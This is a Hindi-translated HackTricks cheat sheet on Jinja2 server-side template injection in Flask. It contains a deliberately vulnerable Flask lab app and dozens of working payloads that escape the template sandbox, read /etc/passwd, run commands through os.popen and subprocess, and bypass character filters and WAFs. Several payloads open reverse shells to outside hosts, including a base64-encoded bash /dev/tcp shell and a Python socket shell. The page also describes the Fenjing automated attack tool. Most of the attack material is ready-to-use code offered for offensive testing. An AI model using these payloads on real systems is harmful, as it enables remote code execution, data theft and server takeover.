Jinja2 SSTI

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें

लैब

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

विविध

Debug Statement

यदि Debug Extension सक्षम है, तो वर्तमान संदर्भ तथा उपलब्ध filters और tests को डंप करने के लिए एक debug tag उपलब्ध होगा। यह बिना किसी debugger सेटअप किए यह देखने के लिए उपयोगी है कि template में उपयोग के लिए क्या उपलब्ध है।

<pre>

{% raw %}
{% debug %}
{% endraw %}








</pre>

Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement

सभी config variables Dump करें

{{ config }} #In these object you can find all the configured env variables


{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}






Jinja Injection

सबसे पहले, एक Jinja injection में आपको sandbox से बाहर निकलने का तरीका ढूँढना होगा और सामान्य python execution flow तक फिर से पहुँच हासिल करनी होगी। इसके लिए, आपको उन ऑब्जेक्ट्स का दुरुपयोग करना होगा जो non-sandboxed environment से हैं लेकिन sandbox से accessible हैं

ग्लोबल ऑब्जेक्ट्स तक पहुँच

उदाहरण के लिए, कोड render_template("hello.html", username=username, email=email) में objects username और email non-sanboxed python env से आते हैं और sandboxed env के अंदर accessible होंगे।
इसके अलावा, कुछ अन्य ऑब्जेक्ट्स भी हैं जो हमेशा sandboxed env से accessible होंगे, वे हैं:

[]
''
()
dict
config
request

पुनर्प्राप्त करना <class ‘object’>

फिर, इन objects से हमें उस class तक पहुंचना होगा: <class 'object'> ताकि परिभाषित classes को पुनर्प्राप्त करने की कोशिश कर सकें। इसके कारण इस object से हम __subclasses__ method को call कर सकते हैं और non-sandboxed python env से सभी classes तक पहुंच सकते हैं।

उस object class तक पहुंचने के लिए, आपको किसी class object तक पहुंचना होगा और फिर या तो __base__, __mro__()[-1] या .mro()[-1] में से किसी एक को access करना होगा। और फिर, इस object class तक पहुँचने के बाद हम __subclasses__() को call करते हैं।

इन उदाहरणों को देखें:

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}






# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

RCE Escaping

पुनः प्राप्त करने के बाद <class 'object'> और __subclasses__ को कॉल करने के बाद हम अब उन क्लासों का उपयोग फाइलें पढ़ने और लिखने और exec code चलाने के लिए कर सकते हैं।

__subclasses__ को कॉल करने से हमें access hundreds of new functions का अवसर मिला; हम बस file class तक पहुँच कर read/write files करके ही संतुष्ट होंगे, या किसी भी ऐसी क्लास तक जो किसी ऐसे क्लास तक पहुँच रखती हो जो allows to execute commands (जैसे os)।

Read/Write remote file

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

RCE

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'

<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}


## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

Payloads with {% ... %}

कभी-कभी {{ ... }} ब्लॉक किया जाता है, sanitize किया जाता है या इंजेक्शन किसी स्टेटमेंट-अनुकूल संदर्भ के अंदर पहुँच जाता है। ऐसे मामलों में आप फिर भी Jinja स्टेटमेंट टैग्स जैसे {% with %}, {% if %}, {% for %}, {% set %} और, नए संस्करणों में, {% print %} का दुरुपयोग कर सकते हैं ताकि कोड निष्पादित किया जा सके, ब्लॉक बॉडी के माध्यम से डेटा leak किया जा सके, या blind side effects ट्रिगर किए जा सकें।

{% raw %}
# Simple statement-tag primitives
{% print(1) %}
{% if 7*7 == 49 %}OK{% endif %}
{% if 7*7 == 50 %}BAD{% else %}ELSE{% endif %}
{% set x = 7*7 %}{{ x }}
{% for i in range(3) %}{{ i }}{% endfor %}
{% with a = ''.__class__ %}{{ a }}{% endwith %}
{% print(''.__class__.__mro__[1]) %}
{% with x = ''.__class__.__mro__[1].__subclasses__()|length %}{{ x }}{% endwith %}

# Flask-like contexts: use already reachable globals/functions
{% with a = config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read() %}{{ a }}{% endwith %}
{% if config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read().startswith("uid=") %}yes{% endif %}

# Bare Jinja2 Template(...) contexts may not have `config` or `request`,
# but built-in globals such as `lipsum`, `cycler`, `joiner`, and `namespace`
# are often still available.
{% print(lipsum) %}
{% print(cycler) %}
{% print(joiner) %}
{% print(namespace) %}
{% if 'os' in lipsum.__globals__ %}OS_OK{% endif %}
{% if cycler.__init__.__globals__ %}G_OK{% endif %}

# RCE using default Jinja globals
{% print(lipsum.__globals__['os'].popen('id').read()) %}
{% with x = lipsum.__globals__['os'].popen('id').read() %}{{ x }}{% endwith %}
{% print(cycler.__init__.__globals__['os'].popen('id').read()) %}
{% print(joiner.__init__.__globals__['os'].popen('id').read()) %}
{% print(namespace.__init__.__globals__['os'].popen('id').read()) %}

# Blind / boolean primitive
{% if 'uid=' in lipsum.__globals__['os'].popen('id').read() %}
YES
{% endif %}
{% endraw %}

यदि लक्ष्य कुछ characters को फ़िल्टर करता है पर फिर भी statement tags की अनुमति देता है, तो इस विचार को filter bypasses और no-{{ / no-. / no-_ example के साथ मिलाएँ। यह भी याद रखें कि {% print %} अनिवार्य नहीं है: उन लक्ष्यों पर जहाँ यह उपलब्ध नहीं है, {% with %}, {% if %}, {% set %} और {% for %} आम तौर पर टेम्पलेट का शोषण जारी रखने के लिए पर्याप्त होते हैं।

इन क्लासेस के बारे में और जानने के लिए जिन्हें आप escape करने के लिए उपयोग कर सकते हैं, आप देख सकते हैं:

Bypass Python sandboxes

Filter bypasses

Common bypasses

ये bypass हमें ऑब्जेक्ट्स के attributes तक access करने की अनुमति देंगे without using some chars.
हमने पहले के उदाहरणों में इन बायपासेस में से कुछ देखे हैं, लेकिन यहाँ उनका सारांश देते हैं:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}






HTML एन्कोडिंग से बचना

डिफ़ॉल्ट रूप से, सुरक्षा कारणों से Flask टेम्पलेट के अंदर की सभी सामग्री को HTML-एन्कोड करता है:

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

यह safe फ़िल्टर हमें पेज में JavaScript और HTML इंजेक्ट करने की अनुमति देता है बिना इसे HTML encoded किए हुए, इस तरह:

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

दुष्ट config file लिखकर RCE।

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

कई अक्षरों के बिना

बिना {{ . [ ] }} _

{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}






Jinja Injection without <class ‘object’>

From the global objects उस class का उपयोग किए बिना RCE तक पहुँचने का एक और तरीका है.
यदि आप उन global objects में से किसी भी function तक पहुँचने में सफल हो जाते हैं, तो आप __globals__.__builtins__ तक पहुँच पाएँगे और वहाँ से RCE बहुत सरल है।

आप objects request, config और किसी भी अन्य रोचक global object से संबंधित functions इस तरह पा सकते हैं:

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

एक बार जब आपने कुछ functions ढूँढ लिए हों, तो आप निम्नलिखित से builtins को पुनर्प्राप्त कर सकते हैं:

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}


## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Fuzzing WAF bypass

Fenjing https://github.com/Marven11/Fenjing एक टूल है जो CTFs के लिए विशेष रूप से बनाया गया है, लेकिन वास्तविक परिदृश्यों में invalid params को bruteforce करने के लिए भी उपयोगी हो सकता है। यह टूल फ़िल्टर का पता लगाने के लिए केवल शब्द और queries भेजता है, bypasses की तलाश करता है, और एक interactive console भी प्रदान करता है।

English-Chinese Google translation

webui:
As the name suggests, web UI
Default port 11451

scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'

crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name

crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'

crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.

संदर्भ

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें